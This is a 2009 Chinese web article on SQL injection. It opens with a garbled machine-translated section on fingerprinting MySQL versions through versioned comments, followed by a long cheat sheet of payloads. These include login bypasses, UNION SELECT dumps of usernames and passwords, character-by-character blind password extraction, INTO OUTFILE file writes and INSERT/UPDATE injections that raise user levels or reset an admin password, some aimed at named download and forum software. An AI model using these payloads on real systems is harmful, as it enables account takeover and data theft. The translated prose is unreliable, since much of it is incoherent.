首页 电脑 电脑学堂 查看内容

SQL注入概念

2009-6-10 10:50 610 0

摘要: 例子在用途之下MySQL 因为它好似是多数被使用的数据库 在这个网。同时相似的技术可能适用于其他人。在每个SQL 有一那 个" 是独特对那个产品的特点" 。MySQL 允许评论用法在SQL 条目 : ...
关键词: select WHERE password union user 20 MySQL userid table order

例子在用途之下MySQL 因为它好似是多数被使用的数据库 在这个网。同时相似的技术可能适用于其他人。在每个SQL 有一那 个" 是独特对那个产品的特点" 。MySQL 允许评论用法在SQL 条目 :   选择* 从桌/ * foo * /   在MySQL, 有引伸对它哪些 允许插入MySQL 具体代码在方式:   选择 / *! SQL_NO_CACHE * / 从桌   评论显示以上评论对待在 每个数据库除了MySQL. MySQL 看一看一个在评论里面和也许改变他 的行为。例如, 这得到执行只如果MySQL 是版本4.0.0 或比较高 :   选择/ *!40000 SQL_NO_CACHE * / 从桌   这可能是极端有用为渗透测试器对发现数据库在使用中和 他的版本在瞎眼:   尝试   http://foo/web.php?table=38 - 我们 得到正常屏幕   http://foo/web.php?table=38/*%20s * / - 我们得到正常屏幕   http://foo/web.php?table=38/*!%20s * / - 我们得到一个异常屏幕因为句法错误在评论 - MySQL 是在使用中   http://foo/web.php?table=38/*!30000%20s * / - 我们得到一个异常屏幕, MySQL 是至少 3.x.x   http://foo/web.php?table=38/*!40000%20s * / - 我们得到一个异常屏幕, MySQL 是至少 4.x.x   http://foo/web.php?table=38/*!50000%20s * / - 我们得到正常屏幕, MySQL 是在5.x.x 之下   http://foo/web.php?table=38/*!40020%20s * / - 我们得到正常屏幕, MySQL 是在4.0.20 以下   http://foo/web.php?table=38/*!40017%20s * / - 我们得到一个异常屏幕, MySQL 是至少 4.0.17   http://foo/web.php?table=38/*!40018%20s * / - 我们得到正常屏幕, MySQL 是在4.0.18 以下   我们 能断定, MySQL 运行在站点是4.0.17 。   这是有用的信息因为我们 也许然后知道哪exploits/vulnerabilities 其次尝试。在MySQL 例 如各个系列3.x.x, 4.x.x 和5.x.x 有另外功能。   另, 独立想法。这研究多数系统没有变动。看MySQL 数据 库引擎缺省行为:   mysql > 选择9e0;   +-----+   | 9e0 |   +-----+   | 9 |   +-----+   1 列在集合(0.02 秒)   mysql > 选择9e2;   +-----+   | 9e2 |   +-----+   | 900 |   +-----+   1 列在集合(0.00 秒)   多数语言口译员正在设法猜测某事关 于他们的输入。这输入得到确认反对长宽和通过。如此我们能自由 地通过9e9 某一数据库询问在后端。PHP 人经常建议使用作用象 is_int($_GET['foo ' ]) 。这不阻拦这个方法照原样仍然内部, 并且这长期是只3 个字符。但它也许采取你的数据库服务器下来。   Tonu 有好渗透测试的案件当有几乎不可能收到任一错误信息从这个系统 。最后Tonu 设法送某一9e999 某处作为行间空格特别大的消息30 秒相似的" PHP 暂停在something.inc " 的输入。谁运作为渗透测 试知道多么重要的是任一信息关于系统internals 。Tonu 能够下载 行间空格特别大对数据漏的这个公司文件 注入经典语句总结 ' or 1=1 ' or '1=1 '/* '%23 ' and password='mypass id=-1 union select 1,1,1 id=-1 union select char(97),char(97),char(97) id=1 union select 1,1,1 from members id=1 union select 1,1,1 from admin id=1 union select 1,1,1 from user userid=1 and password=mypass userid=1 and mid(password,3,1)=char(112) userid=1 and mid(password,4,1)=char(97) and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的) ' and LENGTH(password)='6(探测密码长度) ' and LEFT(password,1)='m ' and LEFT(password,2)='my …………………………依次类推 ' union select 1,username,password from user/* ' union select 1,username,password from user/* =' union select 1,username,password from user/* (可以是1或者=后直接跟) 99999' union select 1,username,password from user/* ' into outfile 'c:/file.txt (导出文件) =' or 1=1 into outfile 'c:/file.txt 1' union select 1,username,password from user into outfile 'c:/user.txt SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt' id=' union select 1,username,password from user into outfile id=-1 union select 1,database(),version() (灵活应用查询) 常用查询测试语句, SELECT * FROM table WHERE 1=1 SELECT * FROM table WHERE 'uuu'='uuu' SELECT * FROM table WHERE 1<>2 SELECT * FROM table WHERE 3>2 SELECT * FROM table WHERE 2<3 SELECT * FROM table WHERE 1 SELECT * FROM table WHERE 1+1 SELECT * FROM table WHERE 1--1 SELECT * FROM table WHERE ISNULL(NULL) SELECT * FROM table WHERE ISNULL(COT(0)) SELECT * FROM table WHERE 1 IS NOT NULL SELECT * FROM table WHERE NULL IS NULL SELECT * FROM table WHERE 2 BETWEEN 1 AND 3 SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c' SELECT * FROM table WHERE 2 IN (0,1,2) SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END 例如:夜猫下载系统1.0版本 id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 ………………………………………………………… 例如2:灰色轨迹 变换id进行测试(meteor) union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate 构造语句: SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1) SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,username,password from user where userid=1) UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid%20=%205)%20order%20by%20eventdate UNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid=13465)%20order%20by%20eventdate UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20WHERE%20username='sandflee')%20order%20by%20eventdate (查沙子的id) (SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10) SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……(字段和数据库相同情况下,可直接提交) SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……(不同的情况下) 特殊技巧:在表单,搜索引擎等地方写: “___” “.__ ” “% %' ORDER BY articleid/* %' ORDER BY articleid# __' ORDER BY articleid/* __' ORDER BY articleid# $command = "dir c:";system($command); SELECT * FROM article WHERE articleid='$id' SELECT * FROM article WHERE articleid=$id 1' and 1=2 union select * from user where userid=1/* 句中变为 (SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*') 1 and 1=2 union select * from user where userid=1 语句形式:建立一个库,插入: CREATE DATABASE `injection` CREATE TABLE `user` ( `userid` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '', PRIMARY KEY (`userid`) ) ; INSERT INTO `user` VALUES (1, 'swap', 'mypass'); 插如一个注册用户: INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); “INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')"; INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1') "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'"; INSERT INTO membres SET login='',password='',nom='',userlevel='3',email='' "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')"; UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id' UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' "UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE id='$id'"; UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHERE id='[ID]' "UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'"; 长用函数: DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() 比如: UPDATE article SET title=$title WHERE articleid=1 对应函数 UPDATE article SET title=DATABASE() WHERE id=1 #把当前数据库名更新到title字段 UPDATE article SET title=USER() WHERE id=1 #把当前 MySQL 用户名更新到title字段 UPDATE article SET title=SYSTEM_USER() WHERE id=1 #把当前 MySQL 用户名更新到title字段 UPDATE article SET title=SESSION_USER() WHERE id=1 #把当前 MySQL 用户名更新到title字段 UPDATE article SET title=CURRENT_USER() WHERE id=1 #把当前会话被验证匹配的用户名更新到title字段 ::::::::::::::::::::::::::::::: $req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name"; SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a' (经典) SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password='' SELECT * FROM table WHERE msg LIKE '%hop' SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password='' SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name  
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部